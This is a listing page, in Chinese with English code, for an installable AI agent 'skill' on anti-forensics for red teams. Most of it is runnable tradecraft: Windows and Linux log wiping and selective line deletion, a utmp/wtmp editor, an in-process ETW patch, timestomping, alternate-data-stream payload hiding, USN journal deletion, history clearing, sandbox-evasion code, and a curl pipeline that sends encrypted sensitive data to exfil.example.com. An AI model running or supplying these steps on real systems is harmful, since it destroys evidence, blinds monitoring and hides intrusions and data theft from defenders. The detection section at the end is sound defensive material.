关于 offensive-anti-forensics
面向红队的参考技能,介绍 Windows 和 Linux 系统上的取证痕迹及其处理方式,也涵盖防守方可观察的迹象。内容以获授权的演练为前提,并要求记录清理操作。
主要功能
- 01Windows 与 Linux 日志痕迹处理
- 02时间戳与文件系统痕迹操作
- 03内存和网络证据考量
- 04防守方检测迹象
适用场景
- 01规划获授权红队演练的清理工作
- 02演练前梳理证据来源
- 03按取证分析视角核验清理结果
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-anti-forensics安装后在 Claude Code 中输入/offensive-anti-forensics确认已加载。
详细介绍
Offensive Anti-Forensics
反取证是指在一次交战期间操纵、销毁或阻止生成取证痕迹的做法。作为红队操作人员,你要把每个操作都视为会产生证据——日志、时间戳、内存结构、磁盘元数据和网络捕获都会讲述一段故事。你的目标是掌控这个叙事。本技能涵盖你在 Windows 和 Linux 目标上会遇到的主要证据类别、操纵各类证据的技术,以及防御者的视角,让你了解当清理不彻底时,称职的取证分析师会检查什么。
你的操作必须在授权范围内进行。本文中的每项技术都假定你已获得在目标系统上执行这些操作的书面许可。记录你清除了哪些内容以及清除时间——交战报告必须说明你销毁了哪些痕迹,以便蓝队重建其检测基线。
快速工作流
- 执行载荷前,先枚举日志记录基础设施——确定哪些组件会生成证据。
- 尽早在安全可行的情况下禁用或屏蔽遥测来源(ETW、Sysmon、auditd)。
- 尽可能使用内存技术,以尽量减少操作痕迹。
- 修改你接触过的文件的时间戳,使其与周围的文件系统活动相符。
- 有选择地清除或编辑日志——与精细修改相比,全部删除更容易引起注意。
- 如果有理由认为会进行实时取证,则清除内存痕迹。
- 检查取证分析师会检查的相同痕迹,验证清理效果。
清除 Windows 事件日志
Windows 事件日志是 Windows 目标上的主要证据来源。Security、System、PowerShell 和 Sysmon/Operational 通道会记录身份验证、进程创建和命令执行事件。
Wevtutil 方法
清除特定通道,而不是所有日志,以缩小清理的影响范围。
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
PowerShell Clear-EventLog
# Clear classic logs
Clear-EventLog -LogName Security, System, Application
# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $_.LogName 2>$null
}
# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling
修补 ETW 提供程序
Windows 事件跟踪是大多数日志记录的基础。在进程内修补 ETW 提供程序可从源头阻止日志生成,这比事后清除更不容易引起注意。
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
清除 Linux 日志
Linux 的日志记录因发行版和配置而异。你必须考虑 syslog/rsyslog、systemd 日志、身份验证日志,以及存储在二进制 utmp/wtmp/btmp 文件中的登录记录。
操纵 Syslog 和身份验证日志
# Truncate rather than delete -- preserves inode and avoids alerting on missing files
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure
# Selective removal -- strip lines matching your source IP
sed -i '/10\.10\.14\.5/d' /var/log/auth.log
sed -i '/10\.10\.14\.5/d' /var/log/syslog
# Remove entries within a time window from auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.log
# Handle rotated logs
for f in /var/log/auth.log.* /var/log/syslog.*; do
if file "$f" | grep -q gzip; then
gunzip "$f"
sed -i '/10\.10\.14\.5/d' "${f%.gz}"
gzip "${f%.gz}"
else
sed -i '/10\.10\.14\.5/d' "$f"
fi
done
清除 Systemd 日志
# Flush and rotate, then vacuum
journalctl --flush --rotate
journalctl --vacuum-time=1s
# Alternative: remove journal files directly
rm -rf /var/log/journal/*
systemctl restart systemd-journald
# Selective approach: vacuum to a small size to keep recent benign entries
journalctl --vacuum-size=10M
编辑 utmp/wtmp/btmp 二进制文件
这些二进制文件会记录登录会话。last 和 who 等工具会读取它们。你不能用 sed 编辑这些文件——需要专用工具或直接进行二进制操作。
/* utmp_editor.c -- remove a specific entry from utmp/wtmp
* Compile: gcc -o utmp_editor utmp_editor.c
* Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>
int main(int argc, char *argv[]) {
if (argc != 3) return 1;
FILE *fp = fopen(argv[1], "r+b");
FILE *tmp = fopen("/tmp/.utmp_clean", "wb");
struct utmp entry;
while (fread(&entry, sizeof(entry), 1, fp) == 1) {
if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
fwrite(&entry, sizeof(entry), 1, tmp);
}
}
fclose(fp); fclose(tmp);
rename("/tmp/.utmp_clean", argv[1]);
return 0;
}
# Quick approach using utmpdump (available on most distros)
utmpdump /var/log/wtmp > /tmp/wtmp.txt
grep -v "your_username" /tmp/wtmp.txt > /tmp/wtmp_clean.txt
utmpdump -r < /tmp/wtmp_clean.txt > /var/log/wtmp
rm /tmp/wtmp.txt /tmp/wtmp_clean.txt
操纵时间戳
取证时间线分析会关联文件系统中的修改、访问、创建和条目修改时间(MACE)。操纵这些时间戳会破坏或增加重建时间线的难度。
Windows Timestomp
# Native PowerShell timestamp modification
$file = Get-Item C:\Windows\Temp\payload.exe
$file.CreationTime = "01/15/2025 08:30:00"
$file.LastWriteTime = "01/15/2025 08:30:00"
$file.LastAccessTime = "01/15/2025 08:30:00"
# Match timestamps to a legitimate system file
$ref = Get-Item C:\Windows\System32\notepad.exe
$target = Get-Item C:\Windows\Temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
# Metasploit Timestomp via Meterpreter
# meterpreter> timestomp C:\\Windows\\Temp\\payload.exe -f C:\\Windows\\System32\\notepad.exe
# This copies all MACE values from notepad.exe to your payload
# SetMACE via direct NTFS manipulation (bypasses standard API logging)
# Requires raw NTFS access -- tools like SetMACE modify $STANDARD_INFORMATION
# and $FILE_NAME attributes in the MFT directly
Linux 时间戳操纵
# Set specific timestamps using touch
touch -t 202501150830.00 /tmp/payload
touch -a -t 202501150830.00 /tmp/payload # access time only
touch -m -t 202501150830.00 /tmp/payload # modification time only
# Clone timestamps from a reference file
touch -r /usr/bin/ssh /tmp/payload
# Modify ctime (change time) -- requires debugfs on ext4
# ctime cannot be set via standard APIs, which forensic analysts know
debugfs -w /dev/sda1 -R "set_inode_field /tmp/payload ctime 202501150830"
# Recursive timestamp normalization for a directory of tools
find /opt/tools -type f -exec touch -r /usr/bin/ls {} \;
文件系统反取证
NTFS 备用数据流
NTFS ADS 允许你将数据附加到文件,而不改变文件显示的大小或内容。标准目录列表不会显示 ADS 内容。
rem Hide payload in an ADS attached to a benign file
type payload.exe > C:\Users\Public\Documents\readme.txt:payload.exe
rem Execute from ADS (varies by Windows version and payload type)
wmic process call create "C:\Users\Public\Documents\readme.txt:payload.exe"
rem List ADS on a file
dir /r C:\Users\Public\Documents\readme.txt
rem PowerShell ADS operations
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden" -Value "config data"
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden"
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *
安全删除
rem Windows: SDelete from Sysinternals
sdelete -p 3 C:\Windows\Temp\payload.exe
sdelete -p 3 -s C:\Windows\Temp\tools\
rem Cipher /w overwrites deallocated space on a volume
cipher /w:C:\Windows\Temp
# Linux: shred overwrites file content before unlinking
shred -vfz -n 3 /tmp/payload
# Secure delete then remove
shred -u /tmp/payload
# Overwrite free space on a partition
dd if=/dev/urandom of=/tmp/wipe_free bs=1M 2>/dev/null; rm /tmp/wipe_free
sync
# For SSDs, TRIM complicates recovery but does not guarantee destruction
fstrim -v /
磁盘痕迹操纵
MFT 和 USN 日志
NTFS 主文件表会记录每个文件的元数据,包括已删除文件。USN(更新序列号)日志会记录卷上文件的每次更改。两者都是极具价值的取证来源。
rem Delete the USN Journal (requires admin)
fsutil usn deletejournal /d C:
rem Query USN journal to understand what it recorded about your activity
fsutil usn readjournal C: csv > usn_dump.csv
findstr /i "payload" usn_dump.csv
rem Disable USN journal creation on a volume
fsutil usn deletejournal /n C:
# MFT entries for deleted files persist until overwritten
# Filling the volume forces MFT entry reuse
$stream = [System.IO.File]::Create("C:\Windows\Temp\filler.bin")
$buffer = New-Object byte[] (1024 * 1024)
try { while ($true) { $stream.Write($buffer, 0, $buffer.Length) } }
catch { $stream.Close(); Remove-Item "C:\Windows\Temp\filler.bin" }
移除内存痕迹
实时取证和内存捕获可以从进程内存中恢复凭据、命令历史记录、已加载模块和网络连接。
# Clear PowerShell command history
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Set-PSReadlineOption -HistorySaveStyle SaveNothing
# Remove credential artifacts from LSASS (risky -- may crash the process)
# Preferred: avoid dumping creds to disk in the first place -- use in-memory-only tools
# Clear bash history for current session
unset HISTFILE
export HISTSIZE=0
history -c
rm -f ~/.bash_history
# Prevent history writing for the session
set +o history
# Clear in-memory credentials (if using SSH agent)
ssh-add -D
# Overwrite /proc/self artifacts is not directly possible
# Instead, exec into a new process to shed memory artifacts
exec bash --norc --noprofile
网络取证规避
网络捕获数据、流量数据和 DNS 日志可以揭示 C2 通信、横向移动和数据外泄。你可以通过加密流量、与合法协议混合,以及使用可信基础设施来规避检测。
# DNS-over-HTTPS for C2 resolution -- avoids DNS logging at the network layer
# Example: configure a tool to resolve C2 domains via DoH
doh_resolvers:
- https://cloudflare-dns.com/dns-query
- https://dns.google/dns-query
# Encapsulate C2 in HTTPS to blend with legitimate web traffic
# Use domain fronting or legitimate CDN endpoints
# See offensive-c2-frameworks skill for detailed C2 traffic shaping
# SSH tunneling to encrypt lateral movement traffic
ssh -D 9050 -f -N [email protected]
proxychains nmap -sT 172.16.0.0/24
# Encrypt exfiltrated data before transfer
tar czf - /sensitive/data | openssl enc -aes-256-cbc -pbkdf2 -pass pass:ExfilKey | \
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload
反虚拟机与沙箱检测
恶意软件沙箱和取证分析虚拟机具有可检测的特征。在红队演练期间,你可能需要让载荷在分析环境中表现不同,或者完全不运行。
// Common VM detection checks
using System.Management;
public static bool IsVirtualMachine() {
using (var searcher = new ManagementObjectSearcher(
"SELECT * FROM Win32_ComputerSystem")) {
foreach (var item in searcher.Get()) {
string manufacturer = item["Manufacturer"]?.ToString().ToLower() ?? "";
string model = item["Model"]?.ToString().ToLower() ?? "";
if (manufacturer.Contains("vmware") || manufacturer.Contains("virtual") ||
model.Contains("virtual") || manufacturer.Contains("xen"))
return true;
}
}
// Check for VM-specific processes
string[] vmProcesses = { "vmtoolsd", "vmwaretray", "vboxservice", "vboxtray" };
foreach (var proc in Process.GetProcesses()) {
if (Array.Exists(vmProcesses, p => proc.ProcessName.ToLower().Contains(p)))
return true;
}
return false;
}
# Quick sandbox evasion checks
$checks = @{
LowMemory = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory -lt 2GB
FewCores = (Get-CimInstance Win32_Processor).NumberOfCores -lt 2
SmallDisk = (Get-CimInstance Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum -lt 60GB
RecentBoot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime -gt (Get-Date).AddMinutes(-5)
NoUserFiles = (Get-ChildItem "$env:USERPROFILE\Documents" -ErrorAction SilentlyContinue).Count -lt 3
}
if ($checks.Values -contains $true) {
Write-Host "Potential sandbox detected"
exit
}
检测/防御方视角
取证分析人员和 SOC 团队会查找以下反取证活动指标:
- 事件日志缺口:事件 ID 1102(安全日志已清除)和事件 ID 104(系统日志已清除)本身也会被记录。清除日志会留下清除行为的证据轨迹。
- 时间戳不一致:MFT 中的 $STANDARD_INFORMATION 和 $FILE_NAME 时间戳不匹配,表示可能进行了时间戳篡改。$FILE_NAME 属性更难修改,通常会保留原始值。
- USN 日志删除:USN 日志缺失,或日志的创建日期非常新,表明可能遭到了蓄意破坏。
- 日志文件大小异常:日志文件的修改时间很新,但大小为零或极小,表明文件可能被截断。
- Shell 历史记录缺口:缺少 .bash_history,或历史记录文件的修改时间很新但没有内容。
- Sysmon EventID 2 会记录文件创建时间的变更,可直接检测时间戳篡改操作。
- ETW 补丁检测:扫描 ntdll 中的内联钩子,或检查 EtwEventWrite 处是否存在 RET 指令。
- ADS 发现:Streams.exe (Sysinternals) 等工具或 PowerShell Get-Item -Stream 可以枚举备用数据流。
- Prefetch 和 Shimcache:这些 Windows 伪影即使在可执行文件删除后仍会保留,清理时也经常被忽略。
演练速查表
| 伪影类别 | Windows 技术 | Linux 技术 | MITRE ID |
|---|---|---|---|
| 事件/Syslog 清除 | wevtutil cl / Clear-EventLog | truncate -s 0 / sed -i | T1070.001 |
| 登录记录 | 不适用(安全日志) | utmpdump edit / wtmp binary edit | T1070.002 |
| 命令历史记录 | 移除 PSReadline 历史记录 | unset HISTFILE / history -c | T1070.003 |
| 文件删除 | sdelete / cipher /w | shred -u / dd overwrite | T1070.004 |
| 时间戳篡改 | PowerShell Set / Timestomp / SetMACE | touch -r / debugfs ctime | T1070.006 |
| ETW 致盲 | Patch EtwEventWrite / Invoke-Phant0m | 不适用 | T1562.001 |
| NTFS ADS 隐藏 | type > file:stream | 不适用(可使用 ext4 xattr 实现类似功能) | T1564.004 |
| 磁盘伪影 | fsutil usn deletejournal | debugfs / fstrim | T1070.008 |
| 网络规避 | HTTPS C2 / DoH | SSH 隧道 / 加密外泄 | T1573 |
| 虚拟机/沙箱检测 | WMI 查询 / 进程检查 | dmidecode / lshw 检查 | T1497.001 |
关键参考资料
- MITRE ATT&CK T1070 - 指标移除:https://attack.mitre.org/techniques/T1070/
- MITRE ATT&CK T1027 - 混淆文件或信息:https://attack.mitre.org/techniques/T1027/
- MITRE ATT&CK T1497 - 虚拟化/沙箱规避:https://attack.mitre.org/techniques/T1497/
- SANS 数字取证与事件响应:https://www.sans.org/digital-forensics-incident-response/
- 反取证技术(SANS 白皮书):https://www.sans.org/white-papers/
- Invoke-Phant0m:https://github.com/hlldz/Invoke-Phant0m
- Timestomp(Metasploit):https://docs.metasploit.com/
- SDelete(Sysinternals):https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete
- NTFS 备用数据流:https://docs.microsoft.com/en-us/archive/blogs/askcore/alternate-data-streams-in-ntfs